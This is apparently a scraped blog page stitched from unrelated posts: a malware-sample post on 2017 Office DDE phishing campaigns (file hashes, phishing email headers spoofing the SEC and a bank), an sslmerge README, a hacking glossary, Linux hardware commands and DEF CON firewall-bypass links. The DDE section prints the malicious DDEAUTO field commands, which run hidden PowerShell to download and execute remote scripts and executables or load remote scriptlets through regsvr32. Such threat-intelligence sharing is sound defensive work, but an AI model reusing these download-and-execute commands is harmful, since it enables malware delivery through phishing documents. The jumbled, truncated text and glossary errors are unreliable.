Destiny Sisters Royale

iknoro

Here are a few samples related to the recent DDE Command execution

Reading:
10/18/2017 InQuest/yara-rules
10/18/2017 https://twitter.com/i/moments/918126999738175489

10/18/2017 Inquest: Microsoft Office DDE Macro-less Command Execution Vulnerability

10/18/2017 Inquest: Microsoft Office DDE Vortex Ransomware Targeting Poland

10/16/2017 https://twitter.com/noottrak/status/919975081828261888

10/14/2017 Inquest: Microsoft Office DDE Freddie Mac Targeted Lure

10/14/2017 Inquest: Microsoft Office DDE SEC OMB Approval Lure

10/12/2017 NViso labs: YARA DDE rules: DDE Command Execution observed in-the-wild

10/11/2017 Talos:Spoofed SEC Emails Distribute Evolved DNSMessenger

10/10/2017 NViso labs: MS Office DDE YARA rules

10/09/2017 Sensepost: Macro-less Code Exec in MSWord

Download

Download. Email me if you need the password (updated sample pack)

File information

List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669

File details with MD5 hashes:

Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e.

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e "

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")

7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a

9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460

10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450

Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe Poland payload
09d71f068d2bbca9fac090bde74e762b

Message information

For the EDGAR campaign
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb

Received: from usa2.serverhoshbilling.com (usa2.serverhoshbilling.com [209.90.232.236])

by m0049925.ppops.net with ESMTP id 2dhb488ej6-1

(version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT)

for <snip>; Wed, 11 Oct 2017 00:09:20 -0400

Received: from salesapo by usa2.serverhoshbilling.com with local (Exim 4.89)

(envelope-from <EDGAR@sec.gov>)

id 1e28HE-0001S5-Ew

for <snip>; Wed, 11 Oct 2017 00:05:48 -0400

To: <snip>

Subject: EDGAR Filings

X-PHP-Script: roofingexperts.org/wp-content/themes/sp/examples/send_edgar_corps.php for 89.106.109.106, 162.158.90.75

X-PHP-Originating-Script: 658:class.phpmailer.php

Date: Wed, 11 Oct 2017 04:05:48 +0000

From: EDGAR <EDGAR@sec.gov>

Reply-To: EDGAR <EDGAR@sec.gov>

Message-ID: <7608a3de5fe6c9bf7df6782a8aa9790f@roofingexperts.org>

X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)

MIME-Version: 1.0

Content-Type: multipart/mixed;

boundary="b1_7608a3de5fe6c9bf7df6782a8aa9790f"

Content-Transfer-Encoding: 8bit

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - usa2.serverhoshbilling.com

X-AntiAbuse: Original Domain - nu.com

X-AntiAbuse: Originator/Caller UID/GID - [658 497] / [47 12]

X-AntiAbuse: Sender Address Domain - sec.gov

X-Get-Message-Sender-Via: usa2.serverhoshbilling.com: authenticated_id: salesapo/only user confirmed/virtual account not confirmed

X-Authenticated-Sender: usa2.serverhoshbilling.com: salesapo

X-Source: /opt/cpanel/ea-php56/root/usr/bin/lsphp

X-Source-Args: lsphp:ntent/themes/sp/examples/send_edgar_corps.php

X-Source-Dir: salesapogee.com:/roofingexperts/wp-content/themes/sp/examples

X-CLX-Shades: Junk

X-CLX-Response: <snip>

X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2017-10-10_08:,,

signatures=0

X-Proofpoint-Spam-Details: rule=spam policy=default score=99 priorityscore=1501 malwarescore=0

suspectscore=0 phishscore=0 bulkscore=0 spamscore=0 clxscore=-262

lowpriorityscore=0 impostorscore=0 adultscore=0 classifier=clx:Junk

adjust=0 reason=mlx scancount=1 engine=8.0.1-1707230000

definitions=main-1710110060

This is a multi-part message in MIME format.

--b1_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: multipart/alternative;

boundary="b2_7608a3de5fe6c9bf7df6782a8aa9790f"

--b2_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: text/plain; charset=us-ascii

Important information about last changes in EDGAR Filings

--b2_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: text/html; charset=us-ascii

<b>Important information about last changes in EDGAR Filings</b><br/><br/>Attached document is directed to <snip>

--b2_7608a3de5fe6c9bf7df6782a8aa9790f--

--b1_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document; name="EDGAR_Rules_2017.docx"

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename=EDGAR_Rules_2017.docx

<snip>

--b1_7608a3de5fe6c9bf7df6782a8aa9790f--

for 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx

Received: from VI1PR08MB2670.eurprd08.prod.outlook.com (10.175.245.20) by

AM4PR08MB2659.eurprd08.prod.outlook.com (10.171.190.148) with Microsoft SMTP

Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id

15.20.77.7 via Mailbox Transport; Thu, 12 Oct 2017 10:45:16 +0000

Received: from DB6PR0802MB2600.eurprd08.prod.outlook.com (10.172.252.17) by

VI1PR08MB2670.eurprd08.prod.outlook.com (10.175.245.20) with Microsoft SMTP

Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id

15.20.77.7; Thu, 12 Oct 2017 10:45:15 +0000

Received: from VI1PR0802CA0047.eurprd08.prod.outlook.com

(2603:10a6:800:a9::33) by DB6PR0802MB2600.eurprd08.prod.outlook.com

(2603:10a6:4:a2::17) with Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id 15.20.77.7; Thu, 12 Oct

2017 10:45:14 +0000

Received: from DB3FFO11FD006.protection.gbl (2a01:111:f400:7e04::133) by

VI1PR0802CA0047.outlook.office365.com (2603:10a6:800:a9::33) with Microsoft

SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id 15.20.77.7 via Frontend

Transport; Thu, 12 Oct 2017 10:45:14 +0000

Received: from za-hybrid.mail.standardbank.com (147.152.120.47) by

DB3FFO11FD006.mail.protection.outlook.com (10.47.216.95) with Microsoft SMTP

Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id

15.20.77.10 via Frontend Transport; Thu, 12 Oct 2017 10:45:12 +0000

Received: from <snip> (10.234.178.186) by

<snip>(10.144.20.58) with Microsoft SMTP

Server (TLS) id 14.3.339.0; Thu, 12 Oct 2017 12:44:35 +0200

Received: from <snip> (10.234.174.102) by

<snip> with Microsoft SMTP Server

id 8.3.389.2; Thu, 12 Oct 2017 11:43:42 +0100

Received: from cluster-a.mailcontrol.com (unknown [85.115.52.190]) by

Forcepoint Email with ESMTPS id AC3EDEB6D852BD348649; Thu, 12 Oct 2017

11:43:38 +0100 (CET)

Received: from rly14a.srv.mailcontrol.com (localhost [127.0.0.1]) by

rly14a.srv.mailcontrol.com (MailControl) with ESMTP id v9CAhaCs039950; Thu,

12 Oct 2017 11:43:36 +0100

Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by

rly14a.srv.mailcontrol.com (MailControl) id v9CAhaRp039947; Thu, 12 Oct 2017

11:43:36 +0100

Received: from mx1.ssl-secure-mail.com (mx1.ssl-secure-mail.com

[188.166.157.242]) by rly14a-eth0.srv.mailcontrol.com (envelope-sender

<Emmanuel.Chatta@stadnardbank.co.za>) (MIMEDefang) with ESMTP id

v9CAhZoc039719 (TLS bits=256 verify=NO); Thu, 12 Oct 2017 11:43:36 +0100

(BST)

Received: from authenticated-user (mx1.ssl-secure-mail.com [188.166.157.242])

(using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client

certificate requested) by mx1.ssl-secure-mail.com (Postfix) with ESMTPSA id

571CD1511D4; Thu, 12 Oct 2017 06:43:35 -0400 (EDT)

From: Emmanuel Chatta <Emmanuel.Chatta@stadnardbank.co.za>

To: <snip>

Subject: Document

Thread-Topic: Document

Thread-Index: AQHTQ0cx2UbfjWEaCEK0bdQsLAkUYA==

Date: Thu, 12 Oct 2017 10:43:35 +0000

Message-ID: <f8c34a32397e02274fd65930045f0204@ssl-secure-mail.com>

Content-Language: en-US

X-MS-Exchange-Organization-AuthSource: <snip>

X-MS-Has-Attach: yes

X-MS-TNEF-Correlator:

received-spf: Fail (protection.outlook.com: domain of <snip> does

not designate 147.152.120.47 as permitted sender)

receiver=protection.outlook.com; client-ip=147.152.120.47;

helo=<snip>;

x-scanned-by: MailControl 44278.1987 (www.mailcontrol.com) on 10.65.1.124

x-mailcontrol-inbound: 4HEeExWtV!H1jiRXZJTT7wjEcFneOidAa+WVdv9sScH43ayzJcnLn4fvVkSq3YGx

x-ms-publictraffictype: Email

X-Microsoft-Exchange-Diagnostics: 1;AM4PR08MB2659;27:42C8MVC/6E4KnuK79xnDQihs/aWUnFSYSvMpUq/ZWFgliSK+uNXwEUaalqg0K4Ukdn7mPjI/6bOflK6H4WqZhQpH28iVAkhECXI6saRJPgqIf8Vn6JKx/rSyKhnUCz+c

Content-Type: multipart/mixed;

boundary="_002_f8c34a32397e02274fd65930045f0204sslsecuremailcom_"

MIME-Version: 1.0

  Usage:
    sslmerge <option|long-option>

  Examples:
    sslmerge --in Root.crt --in Intermediate1.crt --in Server.crt --out bundle_chain_certs.crt
    sslmerge --in /tmp/certs --out bundle_chain_certs.crt --with-root
    sslmerge -i Server.crt -o bundle_chain_certs.crt

  Options:
        --help        show this message
        --debug       displays information on the screen (debug mode)
    -i, --in          add certificates to merge (certificate file, multiple files or directory with ssl certificates)
    -o, --out         saves the result (chain) to file
        --with-root   add root certificate to the certificate chain

How it works
Let's start with ssllabs certificate chain. They are delivered together with the sslmerge and can be found in the example/ssllabs.com directory which additionally contains the all directory (containing all the certificates needed to assemble the chain) and the server_certificate directory (containing only the server certificate).
The correct chain for the ssllabs.com domain (the result of the openssl command):

Certificate chain
 0 s:/C=US/ST=California/L=Redwood City/O=Qualys, Inc./CN=ssllabs.com
   i:/C=US/O=Entrust, Inc./OU=See www.entrust.net/legal-terms/OU=(c) 2012 Entrust, Inc. - for authorized use only/CN=Entrust Certification Authority - L1K
 1 s:/C=US/O=Entrust, Inc./OU=See www.entrust.net/legal-terms/OU=(c) 2012 Entrust, Inc. - for authorized use only/CN=Entrust Certification Authority - L1K
   i:/C=US/O=Entrust, Inc./OU=See www.entrust.net/legal-terms/OU=(c) 2009 Entrust, Inc. - for authorized use only/CN=Entrust Root Certification Authority - G2
 2 s:/C=US/O=Entrust, Inc./OU=See www.entrust.net/legal-terms/OU=(c) 2009 Entrust, Inc. - for authorized use only/CN=Entrust Root Certification Authority - G2
   i:/C=US/O=Entrust, Inc./OU=www.entrust.net/CPS is incorporated by reference/OU=(c) 2006 Entrust, Inc./CN=Entrust Root Certification Authority

The above code presents a full chain consisting of:

Identity Certificate (Server Certificate)
issued for ssllabs.com by Entrust Certification Authority - L1K
Intermediate Certificate
issued for Entrust Certification Authority - L1K by Entrust Root Certification Authority - G2
Intermediate Certificate
issued for Entrust Root Certification Authority - G2 by Entrust Root Certification Authority
Root Certificate (Self-Signed Certificate)
issued for Entrust Root Certification Authority by Entrust Root Certification Authority

Scenario 1
In this scenario, we will chain all delivered certificates. Example of running the tool:

Scenario 2
In this scenario, we only use the server certificate and use it to retrieve the remaining required certificates. Then, as above, we will combine all the provided certificates. Example of running the tool:

Certificate chain
In order to create a valid chain, you must provide the tool with all the necessary certificates. It will be:

Server Certificate
Intermediate CAs and Root CAs

This is very important because without it you will not be able to determine the beginning and end of the chain.
However, if you look inside the generated chain after generating with sslmerge, you will not find the root certificate there. Why?
Because self-signed root certificates need not/should not be included in web server configuration. They serve no purpose (clients will always ignore them) and they incur a slight performance (latency) penalty because they increase the size of the SSL handshake.
If you want to add a root certificate to the certificate chain, call the utility with the --with-root parameter.

Certification Paths
Sslmerge allows use of two certification paths:

Output comments
When generating the chain of certificates, sslmerge displays comments with information about certificates, including any errors.
Here is a list of all possibilities:

not found identity (end-user, server) certificate
The message is displayed in the absence of a server certificate that is the beginning of the chain. This is a unique case because in this situation the sslmerge ends its operation displaying only this information. The server certificate is the only certificate required to correctly create a chain. Without this certificate, the correct chain will not be created.

found correct identity (end-user, server) certificate
The reverse situation here - message displayed when a valid server certificate is found.

not found first intermediate certificate
This message appears when the first of the two intermediate certificates is not found. This information does not explicitly specify the absence of a second intermediate certificate and on the other hand it allows to determine whether the intermediate certificate to which the server certificate was signed exists. Additionally, it can be displayed if the second intermediate certificate has been delivered.

not found second intermediate certificate
Similar to the above, however, it concerns the second intermediate certificate. However, it is possible to create the chain correctly using the second certification path, e.g. using the first intermediate certificate and replacing the second with the main certificate.

one or more intermediate certificate not found
This message means that one or all of the required intermediate certificates are missing and displayed in the absence of the root certificate.

found 'n' correct intermediate certificate(s)
This message indicates the number of valid intermediate certificates.

not found correct root certificate
The lack of the root certificate is treated as a warning. Of course, when configuring certificates on the server side, it is not recommended to attach a root certificate, but if you create it with the sslmerge, it treats the chain as incomplete displaying information about the incorrect creation of the chain.

an empty CN field was found in one of the certificates
This message does not inform about the error and about the lack of the CN field what can happen with some certificates (look at example/google.com). Common Name field identifies the host name associated with the certificate. There is no requirement in RFC3280 for an Issuer DN to have a CN. Most CAs do include a CN in the Issuer DN, but some don't, such as this Equifax CA.

Requirements
Sslmerge uses external utilities to be installed before running:

openssl

Other

Contributing
See this.

Project architecture
See this.

Download Sslmerge

What is the terminologies in ethical hacking?

Here are a few key terms that you will hear in discussion about hackers and what they do:

1-Backdoor-A secret pathway a hacker uses to gain entry to a computer system.

2-Adware-It is the softw-are designed to force pre-chosen ads to display on your system.

3-Attack-That action performs by a attacker on a system to gain unauthorized access.

4-Buffer Overflow-It is the process of attack where the hacker delivers malicious commands to a system by overrunning an application buffer.

5-Denial-of-Service attack (DOS)-A attack designed to cripple the victim's system by preventing it from handling its normal traffic,usally by flooding it with false traffic.

6-Email Warm-A virus-laden script or mini-program sent to an unsuspecting victim through a normal-looking email message.

7-Bruteforce Attack-It is an automated and simplest kind of method to gain access to a system or website. It tries different combination of usernames and passwords,again & again until it gets in from bruteforce dictionary.

8-Root Access-The highest level of access to a computer system,which can give them complete control over the system.

9-Root Kit-A set of tools used by an intruder to expand and disguise his control of the system.It is the stealthy type of software used for gain access to a computer system.

10-Session Hijacking- When a hacker is able to insert malicious data packets right into an actual data transmission over the internet connection.

11-Phreaker-Phreakers are considered the original computer hackers who break into the telephone network illegally, typically to make free longdistance phone calls or to tap lines.

12-Trojan Horse-It is a malicious program that tricks the computer user into opening it.There designed with an intention to destroy files,alter information,steal password or other information.

13-Virus-It is piece of code or malicious program which is capable of copying itself has a detrimental effect such as corrupting the system od destroying data. Antivirus is used to protect the system from viruses.

14-Worms-It is a self reflicating virus that does not alter files but resides in the active memory and duplicate itself.

15-Vulnerability-It is a weakness which allows a hacker to compromise the security of a computer or network system to gain unauthorized access.

16-Threat-A threat is a possible danger that can exploit an existing bug or vulnerability to comprise the security of a computer or network system. Threat is of two types-physical & non physical.

17-Cross-site Scripting-(XSS) It is a type of computer security vulnerability found in web application.It enables attacker to inject client side script into web pages viwed by other users.

18-Botnet-It is also known as Zombie Army is a group of computers controlled without their owner's knowledge.It is used to send spam or make denial of service attacks.

19-Bot- A bot is a program that automates an action so that it can be done repeatedly at a much higher rate for a period than a human operator could do it.Example-Sending HTTP, FTP oe Telnet at a higer rate or calling script to creat objects at a higher rate.

20-Firewall-It is a designed to keep unwanted intruder outside a computer system or network for safe communication b/w system and users on the inside of the firewall.

21-Spam-A spam is unsolicited email or junk email sent to a large numbers of receipients without their consent.

22-Zombie Drone-It is defined as a hi-jacked computer that is being used anonymously as a soldier or drone for malicious activity.ExDistributing Unwanted Spam Emails.

23-Logic Bomb-It is a type of virus upload in to a system that triggers a malicious action when certain conditions are met.The most common version is Time Bomb.

24-Shrink Wrap code-The process of attack for exploiting the holes in unpatched or poorly configured software.

25-Malware-It is an umbrella term used to refer a variety of intrusive software, including computer viruses,worms,Trojan Horses,Ransomeware,spyware,adware, scareware and other malicious program.

Follow me on instagram-anoymous_adi

dmesg

The dmesg command is used in Linux distribution for the sake of detecting hardware and boot messages in the Linux system.

cat /proc/cpuinfo

The cat command is basically used to read something over the terminal like cat index.py will display all the content which exist in index.py over the terminal. So cat /proc/cpuinfo will display the model of the CPU over the terminal.

cat /proc/meminfo

This command is similar to the above command but the only difference is that this command shows the information of hardware memory over the terminal. Because it will open the memory info file over the terminal.

cat /proc/interrupts

This command is also similar to the above command but there is the difference of one thing that this command will display lists the number of interrupts per CPU per input output device.

lshw

This command is used in Linux operating system to displays information on hardware configuration of the system in Linux.

lsblk

The "lsblk" command is used in Linux operating system to displays block device related information in the Linux operating system.

dmidecode

The "dmidecode" command is used in Linux distributions to display the information about hardware from the BIOS.

hdparm -i /dev/sda

The hdparm command basically used to display the information about the disks available in the system. If you wanna know the information about the "sda" disk so just type "hdparm -i /dev/sda" and if you wanna know the information about "sdb" so just type "hdparm -i /dev/sdb".

hdparm -tT

The "hdparm" command is used for displaying the information about disks as we discussed in above command. If you wanna do a read speed test on the disk sda or sdb just type the command "hdparm -tT /dev/sda".

badblocks -s /dev/sda

This command is used in linux to display test operations for unreadable blocks on disk sda. If the command is like "badblocks -s /dev/sdb" it will display test operations for unreadable blocks on disk sdb.Read more

iknoro

This is just a collection of links about my DEF CON 22 presentation, and the two tools I released:

Slides:
http://www.slideshare.net/bz98/defcon-22-bypass-firewalls-application-white-lists-secure-remote-desktops-in-20-seconds

Tools:
https://github.com/MRGEffitas/Write-into-screen
https://github.com/MRGEffitas/hwfwbypass

Presentation video from Hacktivity:
https://www.youtube.com/watch?v=KPJBckmhtZ8

Technical blog post:
https://blog.mrg-effitas.com/bypass-hardware-firewalls-def-con-22/

Have fun!

Tuesday, April 14, 2020

Read more